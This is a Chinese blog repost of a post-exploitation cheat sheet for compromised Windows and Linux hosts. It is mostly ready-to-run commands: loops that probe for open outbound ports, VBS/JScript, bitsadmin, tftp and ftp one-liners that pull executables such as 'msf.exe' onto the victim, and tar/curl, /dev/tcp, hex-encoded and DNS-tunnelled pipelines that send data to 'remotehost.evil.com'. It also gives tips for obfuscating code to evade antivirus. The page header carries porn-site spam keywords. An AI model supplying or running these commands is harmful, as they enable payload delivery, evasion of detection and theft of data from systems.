日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

远程读取mysql_远程获取数据库和文件的方法

發布時間:2023/12/31 数据库 23 豆豆
生活随笔 收集整理的這篇文章主要介紹了 远程读取mysql_远程获取数据库和文件的方法 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

Windows

1.判斷什么端口能出來

有時候有防火墻,你也不知道哪個端口能出來,你只有SHELL,咋判斷什么端口能出來呢?如果你是在WIN VISTA以下版本,那么用下面的命令可以啦

FOR /L %i IN (1,1,65535) DO (cmd /c "start /b telnet 1.2.3.4 %i")

用TELNET不停的連接你的1-65535端口,你本地開個TCPDUMP就行了,如果連通了,就OK了.

如果TCP封鎖了,可以用UDP

FOR /L %i IN (1,1,65535) DO (cmd /c "start /b nslookup -port=%i wooyun.org 1.2.3.4")

這個就更慢了,但是有效,其中的wooyun.org是你可以設置自己的動態域名

如果是VISTA以后的版本,自帶有POWERSHELL:

下面分別是走TCP和UDP的

function sT($IP,$Port) {$Address = [system.net.IPAddress]::Parse($IP);$End = New-Object System.Net.IPEndPoint $address, $port;$Saddrf = [System.Net.Sockets.AddressFamily]::InterNetwork;$Stype = [System.Net.Sockets.SocketType]::Stream;$Ptype = [System.Net.Sockets.ProtocolType]::TCP;$Sock = New-Object System.Net.Sockets.Socket $saddrf, $stype, $ptype;$Sock.TTL = 26;try { $sock.Connect($End);[Byte[]] $Message = [char[]]"w00tw00t";$Sent = $Sock.Send($Message);$sock.EndConnect($Connect)} catch {};$Sock.Close();};1..65535 | %{ sT -IP "1.2.3.4" -Port $_ }

function sU($IP, [int]$Port){$Address = [system.net.IPAddress]::Parse($IP);$End = New-Object System.Net.IPEndPoint($Address, $port);$Saddrf=[System.Net.Sockets.AddressFamily]::InterNetwork;$Stype=[System.Net.Sockets.SocketType]::Dgram;$Ptype=[System.Net.Sockets.ProtocolType]::UDP;$Sock=New-Object System.Net.Sockets.Socket $saddrf, $stype, $ptype;$Sock.TTL = 26;$sock.Connect($end);$Enc=[System.Text.Encoding]::ASCII;$Message = "w00tw00t";$Buffer=$Enc.GetBytes($Message);$Sent=$Sock.Send($Buffer);}; 1..65535 | %{ sU -IP "1.2.3.4" -Port $_ }

2.WIN下傳文件

如果是VISTA以下版本,可以用TFTP/FTP/TELNET,這個網上文章很多的了,另外如果你搞的是國外的,不要忘記SMB,如果能走HTTP的80,可以用VBS的ADODB.Stream來下載,不過這個已經被很多殺毒軟件殺了,編寫的時候編碼混淆下就行了.但不保證能過主動防御,還是少用,另外zzzEVAzzz的那個Any2Bat可以直接傳文件,就是體積有限制,不能傳太大的文件,傳小馬的話應該可以了.如果能走80的話,還可以嘗試下WEBDAV,WIN Vista以后就方便了,直接用內建命令bitsadmin就行了

使用ADODB.Stream來傳文件

code 1:

Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP") : objXMLHTTP.open "GET", "http://192.168.1.43/mickey.exe", false : objXMLHTTP.send() : Set objADOStream = CreateObject("ADODB.Stream") : objADOStream.Open : objADOStream.Type = 1 : objADOStream.Write objXMLHTTP.ResponseBody : objADOStream.Position = 0 : Set objFSO = Createobject("Scripting.FileSystemObject") : objADOStream.SaveToFile "C:\msf.exe":objADOStream.Close

code 2:

function HTTPGetDownload(url, file) {

var http = new ActiveXObject("WinHttp.WinHttpRequest.5.1");

http.open("GET", url);

http.send();

var stream = new ActiveXObject("ADODB.Stream");

stream.type = 1;

stream.open();

stream.write(http.responseBody);

stream.saveToFile(file,2); }

HTTPGetDownload("http://1.2.3.4/mickey.exe", "mickey.exe");

使用bitsadmin來傳文件:

code 3:

bitsadmin /rawretrun /transfer getfile http://pentest.cc/mickey.exe c:\mickey.exe

走UDP的TFTP:

code 4:

tftp –i 1.2.3.4 GET mickey.exe

使用FTP:

code 5:

echo open 1.2.3.4 > x&echo user 2 2 >> x &echo get mickey.exe >> x &echo quit >> x &ftp -n -s:x

使用TELNET:

情景假設,我是LINUX要傳文件到WIN上去

首先我在本地的LINUX上用NC執行

nc -lvp 23 < mickey.txt

然后我在WIN上執行

telnet 我的LINUX主機的IP -f c:\mickey.txt

這樣就把我linux主機上的mickey.txt文件拷貝到win主機的c盤下了

使用SMB傳送文件:

情景假設,我是LINUX要傳文件到WIN上去

首先我在本地的LINUX上配置好SAMBA服務

nano /etc/samba/smb.conf

[hack]

comment = File Server Share

path = /tmp/

browseable = yes

writable = yes

guest ok = yes

read only = no

create mask = 0755

service samba start

然后我在WIN上執行

C:\>net use z: \\192.168.10.80\hack

copy z:\mickey.exe C:\mickey.exe

通過WEBDAV來傳文件:

net use o: "http://192.168.200.18/uploads"

copy z:\mickey.exe C:\mickey.exe

也可以走HTTPS

net use o: "https://192.168.200.18/uploads"

但是需要在主機上開啟WebClient服務,才能成功

net start WebClient

Linux

當我們想要把一個服務器里面的數據打包備份到另一個服務器的時候,這些命令可能會有幫助。

1.tar over ssh

一邊tar一邊通過ssh傳到服務器并且自動解壓縮,最后會得到遠程服務器上文件夾的一份完美備份,并且在目標服務器上不會寫入任何文件。

tar zcf - /some/localfolder | ssh remotehost.evil.com "cd /some/path/name; tar zxpf -"

2. rsync over ssh

通過ssh隧道同步,要求是本地服務器要安裝了rsync

rsync -aH localhost remotehost.evil.com:/some/path/name

假如ssh默認的22端口被封,那么你可以用ssh -p 或者 rysnc --port指定端口,比如可以把ssh服務器開到80或者443端口。

如果連SSH協議都被封了呢,怎么換端口都沒用怎么辦?別怕,我們可以把數據通過https發送:

tar zcf - localfolder | curl -F "data=@-" https://remotehost.evil.com/script.php

curl -F 表示通過偽表單用Post方式發送數據

當然,你還要在本地建一個script.php用來收取數據然后寫入到文件才行,并且web服務器要支持ssl并且有https證書。

不過curl在很多linux發行版里面都沒有默認安裝,所以還是有時候還是不太靠譜。

那么現在不能用ssh也不能用curl,那怎么辦?

直接通過tcp發送

tar zcf - localfolder >/dev/tcp/remotehost.evil.com/443

大家看這個方式是不是有點眼熟?沒錯,就是和彈shell的方法差不多,只不過這次我們用來傳送文件。

效果和用nc傳文件是一樣的。假如遠程服務器和網絡還有內容檢測的話,我們還可以對文件進行一些編碼來混淆,比如用xxd命令轉換成16進制 dump

tar zcf - localfolder | xxd -p >/dev/tcp/remotehost.evil.com/443

本地服務器可以用xxd -r來還原源文件

其實除了xxd,用 base64也不錯,就是有點明顯……

更奇葩的方法,用DNS來傳送數據:

tar zcf - localfolder | xxd -p -c 16 |

while read line; do host $line.domain.com remotehost.evil.com; done

把打包后的數據用16進制編碼,每行16字節,這樣在通過dns發送到時候就不會因為超長導致出錯。然后我們限制每次只發送1個ping數據包,減少發送時間。至于怎么還原,那就要看你的了。

總結

以上是生活随笔為你收集整理的远程读取mysql_远程获取数据库和文件的方法的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。